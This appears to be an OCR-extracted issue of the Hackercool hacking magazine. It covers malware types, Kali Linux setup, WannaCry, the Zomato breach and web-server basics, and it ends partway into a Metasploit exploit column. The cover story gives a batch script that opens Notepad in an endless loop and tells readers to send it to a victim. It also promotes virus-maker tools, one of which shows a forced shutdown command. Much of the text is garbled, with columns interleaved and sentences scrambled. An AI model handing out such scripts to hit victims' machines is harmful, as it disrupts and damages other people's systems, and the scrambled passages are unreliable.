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Here's what you will find in the Hackercool June 2017 Issue .

. Malware..... malware :

We start our first cover story and that too about malware.

. Installit :

Installing the newly released Kali Linux 2017.1 in Vmware workstation.

. Let's Fixit:

Let's fix the most common problem users face when installing Kali in Virtualbox.

. Hack of The Month :

Wannacry Ransomware attack.

. Hackstory

The story of Zomato's data breach.

. Website Hacking :

The beginning of a series on website hacking.

. Metasploit This Month

DiskBoss Enterprise, Serviio Media Server and the meterpreter archmigrate exploits.

. Metasploitable Tutorials :

Password Cracking

. Not Just Another Tool :

WPSeku- Wodpress Vulnerability scanner

10.Hacked - The Beginning :

ms08 067.

11. Hacking Q&A :

Answers to some of the question's on hacking asked by our readers.

12. Hacking News :

A round up of everything that happened in the hacking world.



I can do all things through Christ who strengtheneth me.
Philippians 4:13

Editor's Note

Hello Readers, Thank you for buying or subscribing to
this magazine.This is the ninth issue of zeroeth edition
of my magazine Hackercool.

Let me infroduce myself. My name is Kalyan
Chakravarthi Chinta and | am a passionate cyber securi-
ty researcher (or whatever you want to call it). | am also
a freelance cyber security trainer and an avid blogger. But still let me make it v
-ery clear that | don't consider myself an expert in this field and see myself as a
script kiddie.

Notwithstanding this, | have my own blog on hacking, hackercool.com.
This blog has a dedicated Facebook page and Youtube channel with name
"Kanishkashowto”. [ also developed a vulnerable web application for practice
"Vulnerawa" to practice website security.

This magazine is intended to deal with hacking as close to reality as possi
-ble, both black hat and white hat. | am hopeful this magazine will be helpful not
only to the beginners who come into field of cyber security but also experts in t-
his field. Even people who want to keep themselves safe from the malicious ha
-ckers will find this helpful. The main focus of this magazine is dealing with hac-
king in real time scenatrios. i.e hacking with antivirus and firewall ON. My opinio
-n is that we cannot improve security consciousness in users until we teach the
-m about real time hacking.

In this issue, we start our first cover story. This cover story is about malwar-
e and its role in hacking. We hav introduced two new features with this issue. "
Let's Fixit" and "Website Hacking". In "Let's Fixit", we will try to fix one pesterin-
g problem faced by infosec professionals every month. "Website Hacking" is a
series on well hacking websites. Other than this, this issue has all reqular featu
-res.

This magazine is available for subscription on Magzter and Gumroad
and more recently at Playster. It is also available for sale on Kindle store, 24sy-
mbols, iBooks, nook, kobo, Pagefoundry and Scribd. If you have any queries
regard ing this magazine or want a specific topic please send them to
qa@hackercool.com and please don't forget to like our Facebook page
"Hackercool”. Until the next issue, Good Bye.

Kl Ch



COVER STORY

MALWARE MALWARE

Given below is the graph prepared by Gdata
showing the number of new malware specime
ns collected. As you can see below, the estim-
ated amount of specimens to be collected in
the first half of 2017 is going to exceed greatly
to that of the specimens collected in first half
of 2016. This shows the growing popularity of
malware in hacking.
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But what exactly is malware? | rememb-
er when my brother first bought a computer h-
e brought some files in a floppy disk to be ins-
talled in our computer.
These were some fun
games like love calcul

" A virus can only be executed
when an infected program is run. Only @ malware users see
executable files can be infected with a N°t only because of its

ntaining only "c:\windows\system32\shutdown

-s -f -t 00", it can be called malware because

it will unintentionally shutdown your computer.
Malware has been in exeistence from

1986 and it mostly spread through floppy disk

-s at that time.

Let's see the classification of malware. Malwa

re can be classified into several types depend

ing on their function. They are,

1. Virus

2. Trojan

3. Worm

4. Logic Bomb

5. Keylogger

6. Botnet

7. Spyware

8. Ransomware.

VIRUS

Virus is the most popul-

-ator etc. When one of \ivis. On Windows systems, these files 9reater existence on in

the file was running,

our antivirus prompted
a warning "Trojan Horse
detected". That was my first interaction with
malware.

My story apart, what exactly is malware?
Eventhough most of the computer users regu-
larly have some bitter experience with malwar
-e. they still are not well versed with differenc-
es between virus and malware, virus and wor-
m etc.

This post is intended to make reader und
erstand different types of malware, their worki
ng, their usage in the field of hacking etc. So
let's start with what exactly is a malware? Mal
ware is a word formed by combining two word
s "malicious" and "software". So any soft ware
that is designed with a malicious (bad) intenti-
on is malware.

So if | send you a batch file with text co-

usually have extension exe, .com, .bat, {€Met but also may be
.Sys or .ovl.

due to people ignorant
ly classifying other mal
ware as virus.

VIRUS stands for Vital Information Resour
ces Under Seize. As its name suggests it mos
tly targets the computer resources. These res
ources can be bandwidth,memory space etc.

A virus can only be executed when an inf-
ected program is run. Just like its pathological
version, a virus needs a carrier, which in cybe
-r security is called Trojan or Trojan Horse. Un
-less there's a trojan ( which a user should ru-
n), a virus can't execute. Think of it like this. J-
ust like malaria can't infect humans without m
osquitoes, a virus doen't run without a trojan.

Only executable files can be infected with
virus. On Windows systems, these files usuall
y have extensions .exe, .com, .bat, .sys or
.ovl.



A Virus can replicate itself with new copies
thus infecting other programs also. The most
harmless thing a virus can do is replicating on
-ly.

| think you already know what dangerous
things a virus can do, but to those newbies w-
ho don't know what they do, they can be code
d to damge other programs or alter data or ta
ke up more memory space or completely dest
roy data.

Creeper virus is recognized as the firsN
computer virus. It was created by Bob
Thomas in 1971 as an experimental self-
duplicating program. It was designed to move
between DEC PDP-10 mainframe computers
running the TENEX operating system using
the ARPANET which was the earlier version
of internet. On infected systems, it used to
display the message “I'm the creeper, catch

me if you can!”

Viruses can be further classified into five type-
S.

1.Boot Sector Virus:

As their name suggests, Boot sector viris infe-
cts the MBR(Master Boot Record) of the syst-
em. They do this by moving or overwriting the
original boot code to a different sector and rep
lacing it with the infected boot code.

They often mark the sector where the ori-
ginal boot code is present as bad to prevent it
from being used in the future.

It is very difficult to detect the boot secto-
r virus since OS is the first thing to load in a s-
ystem.
2. File Infector Virus :
File infector virus infects files mostly executa
ble (exe), companion (com) or overlay files.
Some of the file infecting virus act exactly like
boot sector virus by replacing the program lo-
ad instructions of the infected program with th
at of their own.This usually increases the size
of the file and hence easily detectable.

Some file infector virus work by using co-
mpanion files. They change alle the companio
files to executable files and write a file with th-
e same name and .com extension.

By default, Windows systems execute compa
nion(.com) files before executable(exe) files.
Hence the .com files re executed first.

3. Polymorphic Virus :

Polymorphic virus is a type of virus that encry-
pts itself to evade antivirus.Some polymorphic
virus use a different algorithm to encrypt them
selves each time they create a copy of thems-
elves. This makes detection of these virus ver
y difficult. Some polymorphic virus take aroun
d a million forms to evade detection.

Tequila is the first polymorphic virus

that was widespread. It installed itself on the

partition sector. A full polymorphic virus is one
for which no search string can be written

down, even if you allow the use of wild cards.

It was made in 1991

4. Stealth Virus :
Even with all the encryption tricks, Polymorphi
c virus is not the one which is stealthy in infec
ting. That feature goes to stealth virus. Stealth
virus hides in files, boot sectors and partitions
to avoid being detected by antivirus. It normall
y attacks operating system processes.

To stay undetected, a stealth virus will sta-
y in memory to intercept all attempts to use th
e OS. Since this type of virus is memory resid
ent, users may experience shortage of memor

y.
Kl'he first stealth virus is named Brain.m
was designed by two brothers from Pakistan
named Alvi's. Actually they made this to
detect copyright infringement but it took a
malicious turn. Once infected, Brain affects
the computer by replacing the boot sector of
a floppy disk with a copy of the virus. The real
boot sector is moved to another sector and

marked as bad. Infected disks usually have
five kilobytes of bad sectors and the disk

K label is changed to ©Brain. /

5. Multipartite Virus :

Multipartite virus are those which use one or
many of the features explained above to infec
t system.With this they combine all or some of
the stealth techniques to evade detection.




HOW TO MAKE A SIMPLE ViRUS =S makers. Virus makers are programs that

help to create a virus. Ofcourse this should be
One of the most popular searches on Google ,
g . . . used only for testing or research purpose but
is "how to make a virus". Well virus can be wri

tt rf illegal hacki tivity. Thi
tten in many languages. They are mostly writt not to periorm any megat hacking activity. This

i ishable off :
en in C and C++ but can also be written in Py- ' aSF:)ur:IeSo??hee ?/irlejgcnewakers are
thon, batch and even PHP. ’

: . 1.

Let me show you to create a simple virus 5
using batch programming on Windows. Open 3'
Notepad and type the text shown below. 4'

echo off . : o

'@Start Here is an interface of Terabit Virus Maker sh-
-t tepad own in the below image.
S art no epa 8 TeraBIT Virus Maker 3.2 [
gOtO Start W Avoid Ope: ening Calculator :-rsablcwmicws Security Center
| Untitled - Notepad .Avc\dOp;nmnge i (Ml Disable Windows Themes i
i I ot e el B B
@echo off i Funny Mouse
rstart nny Start Button
start notepad C dually Fill System Volume

goto start wvoid Opening Yah essengel sktop lcons
ceounts to Windows e

sktop Wallpaper
n From Start Menu

What we are doing here is giving command to
start Notepad and creating a loop of it. When
a user clicks on this batch file, it will continuos
ly opening Notepad whcih may even lead to
crashing of the system.

Save it with extension .bat as shown below,

[l Turn off Computer After 5 Min
Disable Windows Installer [ Turn Off Monitor

ker.

File name: | "alpha.bat’ F
Save as type: | All Files i
b Encoding: | ANSI S P B 2dd code (batch) B Open website

. . . . . : 1o off wwrw blackhost xyz . Loop
Now the only thing left is sending it to the vict- shutdown s 4 00 - "blackhost
im. You can also include different batch comm | [l W Message
ands in the script. That was very simple virus. B Change password B Crazy mouse [l Add..
To make things look professional, we can hYFRtbwy4Els Fuit M Change time [l Auto startup .

also convert this batch file to an exe using a B Delete W Fil computer [l Disable..

BAT to exe coverter. Fllename: |setup W Wom B shutdown..

Extension: |exe Virus name:  |setup

= BAT to EXE

le:  C\Users'C K chakravarthi\Deskiop'al ~ | browse...

Save as: (C\Users\C K chakrmevarthi\Desktop'te browse...

G0

B Open program
notepad exe N Loop

If you need more help on this, you can visit

C oy "|1|:|h

(To Be Continued)
In the next issue, we will learn about Trojans,
RATS and their practical application.

Creation of complex viruses also is not a
big deal nowadays. Anybody can create them
at a click of a mouse nowadays thanks to viru




INSTALLING KALI LINUX 2017.1 IN VMWARE
INSTALLIT

We are interested in the highlighted file show
-n in the above image.

Open Vmware Workstation. Click on "Cre
ate a New Virtual Machine" option or hit "CTR
L+N" to create a new virtual machine.

A window opens. Select the option "Custo
m" and click on "Next".

The makers of Kali Linux have released their
latest release this year:Kali Linux 2017.1. In t-
his month's issue, we will see the process of
installing this latest release in Vmware Works-
tation or Vmware Player.

It's already known that the makers of Kal

-i Linux have been releasing virtual images of
Kali Linux for both Virtualbox and Vmware. In
this issue, we will install the vmware image w-
hich can be downloaded from here. We are u-
sing Vmware Workstation for this tutorial.

The finished download of the vmware im :

VMWARE

MNew Virtual Machine Wizard *

Welcome to the New Virtual
Machine Wizard

What type of configuration do you want?

age of Kali Linux should look like below. WORKSTATION;
PC » Downloads » Kali-Linux-2017.1-vm-i686 PRO () Typical {recommended)
Name - Date modified Type Size Create a Workstation 12.0 virtual machine
) - - in & few easy steps.
| ] Kali-Linux-2017.1-vm-i686.7z 5 3 PM ZFile 2,151,415 KB
[ Kali-Linux-2017.1-vm-i686.0xt.sha256sum 5 PM  SHA23G5UM File 1K

(®) Custom (advanced)

Create a virtual machine with advanced
options, such as a SCSI controller type,

Using 7Zip, extract the contents of the zip file virtual disk type and compatbilty with

. older YMware products.
as shown below. The contents will be extracte
-d into a folder.
e Help < Back Cancel
::;‘ Users\nspadm' Do m 8]
000008 Totsl mre B43E M . .
—— 7= | | In the next window that opens, click on Next.
ns Comgressed M
Gencig MNew Virtual Machine Wizard =
Wab-Lrnax-2017 1-vm+686
S AR ol Choose the Virtual Machine Hardware Compatibility
| Which hardware features are needed for this virtual machine?
Virtual machine hardware compatibility
Hardware compatibility: j ~
- — patibility: | Workstation 12,0
Compatible with: ESX Server
The extracted contents in the folder will be as i e LN R
Fusion 8.0 64 GB memory
ShOWﬂ be|OW_ Warkstation 12.0 16 processors
10 network adapters
- 8 TB disk size
Mame Date modified Type Size
[ Kali-Linux-2017.1-vm-i686 A iiware Virtual M... SKB
Q Kali-Linux-2017.1-vm-i686 <:= 4 Virtual Machine Di... 2KB
lj Kali-Linu¢-2017.1-vm-i686 Wihware snapshot ...
[0 Kali-Linux-2017.1-vm-i686 Vhware virtual m...
|4 Kali-Linux-2017.1-vm-i686 VMware Team Me..,
e Kali-Linux-2017.1-vm-i686-s001 Virtual Machine Di... 34
a Kali-Linux-2017.1-vm-i686-s002 Wirtual Machine Di...
* Kali-Linux-2017.1-vm-i686-s003 Virtual Machine Di...
W Kali-Linux-2017.1-vm- 6865004 Virtual Machine Di... _
Hel < Back MNext = Cancel
* Kali-Linux-2017.1-vm-i686-:003 Virtual Machine Di...
* Kali-Linux-2017.1-vm-i686-s006 Virtual Machine Di...
W Kali-Linue-2017.1-vm-i686-s007 Virtual Machine Di... ThIS WI” Open a new WindOW |n thl-
W Kali-Linux-2017.1-vm-i686-5008 Virtual Machine Di... :
. . " .
W Kali-Linue-2017.1-vm-i686-5009 Virtual Machine Di.. s window, select the option "l will install the op
“ Kali-Linux-2017.1-vm-i686-s010 Virtual Machine Di... . " . " "
W Keli-Linus-2017.1-v i686-<011 Virtual Machine Di.. erating system later" and click on "Next".




The next window is about choosing the opera-

ting system we are trying to install. Select Gu-
est OS as Linux and version as "Debian 8.x"

Next is the amount of RAM you need to allott
for the Guest machine. The system automatic
-ally recommends you some RAM as shown

and click on "Next". below.

e = Unles§ you know your rgquwements preci-
¥ sely, go with the default choice. Click on Next.
Select a Guest Operating System
Which operating system will be installed on this virtual machine? New Virtual Machine Wizard ”
Guest operating system Memory for the Virtual Machine
) ) How much memory would you like to use for this virtual machine?
() Microsoft Windows
(®) Linux
(O Novell NetWare Specify the amaount of memory allocated to this virtual machine. The memory size
) Sl must be a multiple of 4 MB,
(O vMware ESX 64 GB Memory for this virtual machine: 512 == MB
() other 32 GB
15 GE
i EGE
et 4GB - @ Maximum recommended memory:
Debian 8.x = e 2992 MB
1GB
sizME il <1 @ Recommended memory:
155 MB 512 MB
128 MB
64 ME <l [ Guest OS recommended minimum:
32 ME &4 MB
| 16 MB
EME
< Back Mext = Cancel 4 ME
Next it's time to name the virtual machine. Na
< Back Next > Cancel

me it as it suits you. | named it as shown belo
-w. Also choose the location where your virtua Select the type of network you want. By defau
-I machine will be stored and click on "Next". Ititis NAT. You can change it according to yo-
ur requirements. Click on "Next".

Mew Virtual Machine Wizard X
Hame the Virtual Machine Mew Virtual Machine Wizard ®
What name would you like to use for this virtual machine?
Network Type

What type of network do you want to add?
virtual machine name:

| Kali 2017.1

| Network connection

(_) Use bridged networking

Give the guest operating system direct access to an external Ethernet
network, The guest must have its own IP address on the external netwark.

Location:

| Fi\KalyanVMs\Kali 2017, 1

| Browse...

The default location can be changed at Edit > Preferences. (®) Use network address translation (MAT)

Give the guest operating system access to the host computer's dial-up or
external Ethernet network connection using the host's IP address.

(") Use host-only networking
Connect the guest operating system to a private virtual network on the host
computer.

(_) Do not use a network connection

< Back Cancel

< Badk MNext = Cancel

The next window is about the number of [teo ]
processors you want to allot for your guest m- Select your I/O controller type although
achine. Allot the processors per your requirem leaving it to the recommended value would be
-ent. perfectly alright.

If you are not an advanced user, just g- Choose the option "LSI logic" and click
o with the default configuration by clicking on on "Next".
"Next".




Mew Virtual Machine Wizard X

Select 1/0 Controller Types
Which SCSI controller type would you like to use?

1/0 controller types
SCSI Controller:

() BusLogic {Maxdimum disk capacity: 2 TB)
(@151 Logic {Recommended)
{_JLSI Logic 5A5

< Back Mext = Cancel

MNew Virtual Machine Wizard >

Select a Disk
Which disk do you want to use?

Disk

() Create a new virtual disk

A virtual disk is composed of one or more files on the host file system, which
will appear as a single hard disk to the guest operating system. Virtual disks
can easily be copied or moved on the same host or between hosts.

(®) Use an existing virtual disk
Choose this option to reuse a previously configured disk.

(") Use a physical disk (for advanced users)

Choose this option to give the virtual machine direct access to a local hard
disk.

< Back

Help Cancel

Next, select the type of hard disk you want
for your guest machine. If you know nothing a
-bout this, leave the recommended choice an-
d click on "Next".

Mew Virtual Machine Wizard *

Select a Disk Type
What kind of disk do you want to create?

Virtual disk type

(JIDE

(®)5C51 (Recommended)
(sATA

< Back Next = Cancel

Next we need to select the virtual disk.
The default option that will be set is "Create a
new virtual disk". This is the option we need t-
o set if we have downloaded an iso file of Kali
Linux.

Since we have downloaded a vmwar

-e virtual image directly, we already have a vi-
rtual disk (Remember the file we have highlig-
hted at the beginning of the tutorial).We are
talking about that. Choose the option "Use an
existing Virtual disk" option and click on
"Next".

Once you click on "Next", the below window w
-ill open.

MNew Virtual Machine Wizard b4

Select an Existing Disk
Which previously configured disk would you like to use?

Existing Disk File

Browse...

< Badk Mext = Cancel

Click on "Browse". We need to select th
-e virtual disk now which we said is already av
ailable.

Browse to the folder where we have un
Zipped the contents of the zip file and select
the vmdk file we have highlighted at the begin
-ning of the tutorial.

s A
Send all your installation
requests to
qa@hackercool.com
\ J




MNew Yirtual Machine Wizard b4 New Virtual Machine Wizard b4

Select an Existing Disk Ready to Create Virtual Machine
Which previously configured disk would you like to use? Click Finish to create the virtual machine. Then you can install Debian 8.x.
Existing Disk Filz The virtual machine will be created with the following settings:
e : - - MName: Kali 2017.1 ~
| F.‘l,KaIyanUMs't,KaIl-L|nux-2[J‘l?.ld\tm1686\,KaI|-L|nux-2E|1?.‘1-'\trr|-|E| | Browse. .. Cocatian Fi\KalyanvMs'ali 2017.1
Version: Workstation 12.0

Operating System: Debian 8.x

Hard Disk: Existing disk F: \KalyanvMsali-Linux-2017, 1-vm-586. ..
Memaory: 512 MB
Metwork Adapter:  MNAT

% Other Devices: CD,/DVD, USB Controller, Printer, Sound Card v

Customize Hardware. ..

Help <Back _ MNext > Cancel <Back | Cancel

Once the file is selected, click on "Next".Since The installation will finish and the system will
you are using the latest version of Vmware an greet us with a login screen.

d the virtual disk we downloaded is an old for-
mat, the program will ask you if you want to c-

hange the format to a new format.
lew Yirtual Machine Wizard =

Select an Existing Disk
Which previously configured disk would you like to use?

Existing Disk File

F: 4G WMware Workstation b4

r/--—\‘l Convert existing virtual disk to newer format?

L
k. r

e The chosen virtual disk can be converted to the
newest format supported by this Workstation 12.0
virtual machine. Howewver, after conversion the virtual
digk will be unusable with older virtual machines.

Keep Existing Format Convert Cancel

The default username is "root" and the default
"password" is "toor". Once we successfully lo-
gin, the stylish blue Kali Linux screen will welc
| ome us as shown below.

Help < Back MHext = Cancel

You can convert it to new format or keep the
existing one. | chose the option "Keep existin-
g format".

That's it, we have finished configuring
all settings. You will be shown a summary of
all the settings we made. Have a look at all th-
e settings. If you want to make any changes,
click on "customise hardware".

Otherwise, click on "Finish" . This will
finalize all the settings we have configured.




Fixing the VT-X is disabled in the BIOS While Installing Kali In Virtualbox

LET'S

FIXIT

Problem :
While installing Kali Linux in Virtualbox, |
want to fix this problem that appears when
we run the system,
"Failed to open a session for the virtual m
-achine Kali-Linux-2017.1-vbox-amd64.

VT-x is disabed in the BIOS for all CPU
modes
(VERR_VMX_MSR_ALL_VMX_DISABLED
Result Code: E_FAIL (0x80004005)

Component: ConsoleWrap

Interface: IConsole
{872da645-4a9b-1727-bee2-5585105b9%eed}
Solution:
This is the most common problem many user-
s have been facing while installing Kali Linux
in Virtualbox regardless of the version they ar-
e trying to install.

Now, let's see how to fix this problem. Wh
-at is Intel VT-x? Intel VT stands for Intel virtu-
alization technology. This is a feature included
in Intel processors which when enabled will h-
elp in accelerating virtual machines used by
Virtualbox, Vmware or Hyper-V.
Similarly AMD processors have AMD-V h

-ardware acceleration.

| don't know what exactly is the reason
but this feature is disabled by default in mode-
rn CPU's. As the error message shows, this fe
-ature can be disabled or enabled in BIOS or
UEFI.

So obviously, to fix this problem, we ne-
ed to boot into BIOS or UEFI of the host syste
-m. This is the system on which your Vmware
or Virtualbox is installed. The BIOS key is diff-
erent for different PC brands. Here | have giv-
en the BIOS hot keys for some popular PC br-
ands | collected from internet.

Acer - Del or F2
Asus - Del, F2 or F9
Acer - Del or F2
Compagq Presario - F10
Dell - F2 or F12

HP - Esc or F10
Lenovo -F1 or F2
Samsung - F2
Sony - F2
Toshiba - Esc, F1 or F12
To boot into BIOS, you need to restart the
system and start pressing the respective hot k
-ey for your PC brand. Once you boot into Bl-
OS,you will see a screen as shown below. Thi
s is a BIOS screen for a Lenovo system.

Go to the configuration tab and find the Intel
VT-x setting. It is disabled by defaultas shown
below and just enable it. This will solve the pr-
oblem.

dntel Virtual Techno logy

Remember that for AMD processors it will be
AMD-v that we need to enable.

Send all your cyber security installation
problems to
qa@hackercool.com




WANNACRY RANSOMWARE ATTACK

HACK OF THE MONTH

What?

The Wannacry ransomware attack or Wanna

denied its involvement in the attack. Experts
say this can also be a case of reusing the cod
-e used by Lazarus group or an attempt to shi

decryptor is a worldwide hacking attack which ft the blame towards the group.

started on May 12 2017 and infected around
2,50,000 computers in over 150 countries wit-
hin 24 hours. It mostly targeted Microsoft Win
dows 7 operating systems.

Prominent among the victims of this hack
-ing attack are Britain's National Health Servic
e(NHS), Spain's Telefonica, Fedex and Deuts
che Bahn.

Ransomware attack is an attack where a
malware encrypts all the files in the infected s
ystem and demands a ransom from the user
to decrypt those files.

Wannacry demand-
ed the ransom in BitCoi
ns. It is considered a ne
-twork worm as this wo-
rm after infecting the
machine scanned for
other machines vulnerabl-

e to eternalblue vulnerability and infected the-
m

How?

Recently, hacking group known by the name
"Shadow Brokers" leaked a dump of exploits
used by Equation Group (which is a branch of
National Security Agency (NSA) of the US.

This dump included exploits known as
EternalBlue and Double Pulsar (these are the
same exploits featured in "Metasploit This
Month" of Hackercool Magazine of May 2017)

The eternalblue exploit exploits a vulne
rability in Windows SMB service and Double
Pulsar is used to upload a backdoor into the
hacked machine.

The Wannacry attack used this vulner-
abiity to infect the machine with ransomware.

Who?

Kaspersky has said that the attack code carri-
es the signature of "Lazarus Group", allegedly
a North Korean hacking group. North Korea
denied its involvement in the attack. Experts

"There should be strict laws on
hoarding of the exploits by
government agencies. Remember, the impacted almost 150
NSA already knew about this
vulnerability but didn't inform the
Microsoft about it."

Simply put, the perpetrators are still un-
known.

Impact

The Wannacry ransomware crippled many
organisations out of their daily business. Mos-
t severely hit were hospitals which lost access
to the medical data of patients.

Apart from organisations, even common u-
sers were also affected. Some organizations

had tools to bypass this res-

triction but common
users didn't. This worm

countries.

Aftermath

A security researcher
known by the name "Ma-
lwareTech, found a kill switch in the code of
the malware while observing the code. He fou
nd that the malwaare was trying to connect to
a nonexistent domain name. When he registe
red the domain in his name, the malware mad
e a successful connection and stopped sprea-
ding. This helped in containing the attack to a
large extent.

Microsoft has patched this vulnerability
before even the dump was leaked by Shadow
-brokers but this updates were not applied by
the infected systems.

essons to be Learnt
1. There should be strict laws about "hoardin-
g" of the exploits by government agencies. Re
-member, the NSA already knew about this vu
-Inerability but didn't inform the Microsoft abo-
ut it.
2. Applying latest updates. This hack proved t
-hat many users still don't maintain their syste
-m with the latest updates. Had they updated
their system, the damage would have been
less.



HACKSTORY

In my childhood, | read a story about three fis-
h.The three fish named Foresight, Presence
of mind and Dimwit lived in a pond. As summ-
er approached, the pond began to dry.

Foresight warns his two friends about th-
e impending drying up of the lake. When his t-
wo friends don't heed his warnings, he leaves
the pond by himself.

As the days go by, the pond dries up to
the point where the fish can no more leave th-
e pond and can be easily caught.

One day, a fisherman comes to catch fis-
h in this particular pond. When he catches bo-
th "Presence Of Mind" and "Dimwit", Presenc-
e of Mind gets an idea.
While "Dimwit" is strug
gling, "Presence Of
Mind" pretends as if he
died.

Thinking that the
fish is already dead, the
fisherman throws "Pres
-ence Of Mind" back into the pond and goes
away with his catch.

So out of three fish, two fish survive. On
e, due to foresight and other due to presence
of mind. Why did | remember this story from
my childhood now? Well the Zomato Data bre
-ach reminds me of the fish "Presence of Min-
d" in this story.

The food tech startup Zomato has been
a victim of a data breach recently. The lost da
ta included Userld's, Names, Usernames, Pa-
ssword hashes and email addresses of over 1
7 million users. The data was put to sale in da
rk web.

When Zomato confirmed that the dump
was genuine, it contacted the hacker respons-
ible for the breach and somehow convinced hi
m to remove the data from the dark web.

It seems the hacker has informed Zoma
to about the vulnerabilities before but was not
taken seriously. Zomato says the hacker (or e

"Getting access to the code
was not enough for the hacker to
steal the data as Zomato's
servers were allowed to connect ub where the code rep
only from specific IP addresses." sository of Zomato wa-

-thical hacker) took this extreme step to dema
-nd Zomato for a fair bug bounty program.Zo-
mato has now announced that it will have a b-
ug bounty program now with Hackerone base
-d on the demand of the hacker.

The hacker also revealed to Zomato
as to how he got access to their data and its
pretty interesting.

This breach actually started on Novemb
er 15 when hackers leaked the database of
000webhost's users which included plain text
passwords. One of the developers of Zomato
had his personal account with 000webhost. S-
o obviously his credentials were available pub
licly.

Just like many users th
-is developer was usin
g the same username
and password for Gith

s stored (This happen-
ed back at a time when
Github didn't have any two-factor autheticatio-
n. It happened in 2015 but for unknown reaso
ns, the hacker breached data now).

Getting access to the code was not e-
nough for the hacker to steal the data as Zom
ato's servers were allowed to connect only fro
m specific IP addresses .

He observed the code and found out
a remote code exection vulnerability in the co-
de which allowed him to gain access to the se
rvers and breach the data. The rest as you all
know is our hackstory.

Zomato's spokepersons were very h-
appy to solve this problem with minimal dama
ge. They said keeping lines of communication
open with the hacker helped them a lot includ-
ing beefing up the security of their network.As
a safety precaution, Zomato has logged out al
-l users and reset their passwords. It seems
"presence of mind" saved the day for Zomato.



WEBSITE HACKING

In the last issue, we successfully completed a
series on "The Art Of Phishing". From this mo
nth, we will start a new series on Website hac
king. With the ubiquitous data breaches websi
-te security has achieved a great importance.
| started this series for absolute beginners
to understand website hacking. | hope this will
be helpful in WAPT although | do it in a way
most black hats do. That's because "to beat a
hacker, you have to think like a hacker",

To understand hacking webservers, you
need to first understand the complete architec
ture of the web servers.

If there is any newbie, reading this, a w
eb server is a server which serves web pages
In simple terms,it's a server which hosts webs
ites.

The architecture of web servers can be clas
sified into three categories.

1. Server
2. Front-end
3. Database

SERVER

Server is the part where all the web services
are hosted. There are many types of web serv
ers. Some of the well known web servers are
listed below.

1. Apache web server

2.Microsoft IIS server

3. Apache Tomcat

4. Nginx

5. Lighthttpd

6. Google web server

7. Klone

8. Jigsaw

9. Abyss

10. Oracle

11. X5

12. Zeus
Given in the below image is the market share
of the web servers as of September 2016.
(Image taken from securityspace.com)

Harket Share for Septenber 2816 - Across All Donains

B pache - 49170
B Microsoft - (25.130)
-Zeus - (0.0ZE)

[ wetscape - c0.008
[ webster - o008
B website - co.008)
[

Copyright (o) 1995-2016 E-Soft Inc.

As you can see in the above image, majority
of web server share belongs to Apache. Apac
he is an open source and very popular web
server software but being popular has its own
disadvantages in cyber world.

It is trailed by IIS server owned by Microso
ft and is a commercial product. If you want to
set up a web server at home, we have WAMP,
Xampp and LAMP servers. You can just Goog
le to know more about them.

FRONT-END

| still feel it is inappropriate to call this part as
Front-End but will go with it for this one.

Here we will talk about the different scriptin
g languages used to create a website or web
pages.
HTML is the basic language used to create an
y webpage. CSS is used for designing. Javas-
cript is used in client side validation. Rememb
-er when you forgot to enter your username
and password while logging in and the system
prompted you with an error, well that's the wor
k of Javascript. And you would have noticed,
some sites disable Right Click on their websit-
e, even that's Javascript.

Server side scripting is the important part
of a website. Server-side scripting is a techniq
-ue used in web development which involves
using scripts on a web server which produce
a response customized for each user's (client'
s) request to the website.

The error that comes when you enter an
incorrect password, it's the work of server sid-
e scripting. Some of the languages used for



server side scripting are,
ASP (*.asp)
ActiveVFP (*.avfp)
ASP.NET (*.aspx)
ASP.NET MVC (*.cshtml)
ColdFusion Markup Language (*.cfm)
Go (*.go)
Hack (*.php)
Haskell (*.hs) (example: Yesod)
Java (*.jsp) via JavaServer Pages
Lasso (*.lasso)
Lua (*.Ip *.op *.lua)
Parser (*.p)
Perl via the CGl.pm module (*.cgi, *.ipl, *.pl)
PHP (*.php, *.php3, *.php4, *.phtml)
Python (*.py) (examples: Pyramid, Flask,
Django)
R (*.rhtml) - (example: rApache)
Ruby (*.rb, *.rbw) (example: Ruby on Rails)
SMX (*.smx)
Tel (*.tcl)
WebDNA (*.dna,*.tpl)
Progress WebSpeed (*.r,*.w)
Bigwig (*.wig)
Given below is the image showing the share
of the server side languages used in 2010.
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PHP is the most used language for server sid-
e scripting.ASP is used by Microsoft's IIS serv
ers.

DATABASE

Database is used to store all the data related
to the website. A database is an organized co-
llection of data. In simple terms database is s-
omething which stores data.

A database management system
(DBMS) is a computer software application th
at interacts with the user, other applications,

and the database itself to capture and analyz-
e data. A general-purpose DBMS is designed
to allow the definition, creation, querying, upd-
ate and administration of databases.
There are many types of databases use

d for the websites. Some of them are,

- MySQL

- PostgreSQL

- MongoDB

- Microsoft SQL server

- Oracle

- Sybase
We will see more about databases later. Ther-
e is another concept we need to know about
website structure: Content Management Syst-
ems or CMS.

Creating websites from scratch is a horren
dous affair for some users. CMS simplifies tha
t. A content management system (CMS) is a
software system that provides website authori
ng, collaboration and administration tools desi
gned to allow users with little knowledge of w-
eb programming languages or markup langua
ges to create and manage website content wi-
th relative ease. A robust Web Content Mana
gement System provides the foundation for co
llaboration, offering users the ability to manag
e documents and output for multiple author ed
iting and participation.

There are many CMS's available but the mo-
st popular are,
Wordpress
Joomla
Drupal
Concrete5
Given below is the market share of the popula
r CMS for May 2016.

. WordPress
. Joomla

=5 Drupal

A
i) Magento

. Others

(TO BE CONTINUED)



DISKSORTER ENTERPRISE, SERVIIO MEDIA SERVER & METERPRETER ARCHMIGRATE
METASPLOIT THIS MONTH

Hello aspiring hackers. Welcome to Metasploi The scan returned this. On keen observation,
t This Month. As always we will learn about th | see that DiskSorter Enterprise is running on

-ree exploits of Metasploit. the system as shown below.
D|Sksorter Enterprise 49157;‘(([} (iﬁfgwg;ir:;d deapltglfégflfzirlglg:gz‘s FIﬁ(you know the service/version,
GET Buffer Overflow a bmit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?n
. - - - g 3 me\_‘ —pc 11niu gnu\ﬂ_(ﬁggﬁig
The first exploit we will see is of a buffer overf Fitss LC\26\-//Wac/ /D)
. . . . . X \ //vww\ . w3\ . 0rg/TR/htm
low vulnerability in DiskSorter Enterprise versi B8 - il o LontenL i
on 9 5 12 éF ) X \> rver \. \. ta\x20name=
= J. . : co ; >Disk\
. . . SE:x2050r r o] ow { inky 0' ]
DISksorter IS a SOftware Used to CIaSSIfy g?émiﬁﬂi '> C 'text/]av:::ulpt \x20src= resoulcesuo
SF:mmands\ /head>\r\n<body\x20onload=\"scheduleCommandsU

files in local disks, network shares, Network at gitsag \n<diLy\1201d="heade ~<tobteabhorder auz'opdddmg o\
